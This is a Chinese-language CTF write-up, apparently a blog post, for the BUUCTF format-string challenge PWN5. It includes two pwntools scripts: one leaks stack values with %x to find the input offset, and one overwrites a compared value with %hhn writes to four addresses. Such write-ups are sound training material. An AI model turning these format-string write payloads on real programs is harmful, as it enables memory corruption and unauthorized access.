参考文章:
格式化字符串漏洞原理及其利用(附带pwn例题讲解)_格式化字符串攻击教程-CSDN博客
格式化字符串漏洞原理详解_静态编译 格式化'字符串漏洞-CSDN博客
BUU pwn [第五空间2019 决赛]PWN5 //格式化字符串漏洞 - Nemuzuki - 博客园 (cnblogs.com)
栈溢出保护(cannary)
数据溢出保护(NX)
运行一下看看
输入对比
看源代码
首先第一步
发现后门
第二步找漏洞
这道题的漏洞是格式化字符串漏洞,详细的可以去看我开头引用的两个博客
我们的思路就是,找到我们数据输入的地方,然后把对比的数据的地址拿到,用我们输入的去给需要对比的数据赋值
我们先来找到我们数据的偏移量
from pwn import *
sh=remote('node5.buuoj.cn',27574)
payload = b'aaaaaaa\n %x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x'
sh.sendline(payload)
sh.sendline(str(0x10101010))
sh.interactive()
大家可以自己数一数,第十个就是我们输入的aaaa
接下来我们来看一下我们对比的数据的地址
可以看见
一共有四个数据段,一个数据段是一个字节
所以我们下面的代码要用 hhn(一个字节表示)
from pwn import *
sh=remote('node5.buuoj.cn',27574)
payload = p32(0x804c047)+p32(0x804c046)+p32(0x804c045)+p32(0x804c044)+b'%11$hhn%10$hhn%13$hhn%12$hhn'
sh.sendline(payload)
sh.sendline(str(0x10101010))
sh.interactive()
因为这个数据段,四个字节,我们每个字节都写入,一个0x803c047,4个字节 ,那么四个地址,16=0x10
然后我一直有几个点没动
看了好久这个exp,终于搞懂了
三个点:
第一个这个后面的%11 12什么的,顺序随便,因为输入的数一样的,都是0x10
第二个,为什么是0x10101010,因为我们输入的数据要对比也是dword,我们传入0x10,在地址上也就是四个连续的0x10,这样就和
这个数据段对上了
第三个:为什么地址在前面-----这是无符号参数print的写法
地址在前面
最后这个exp就ok了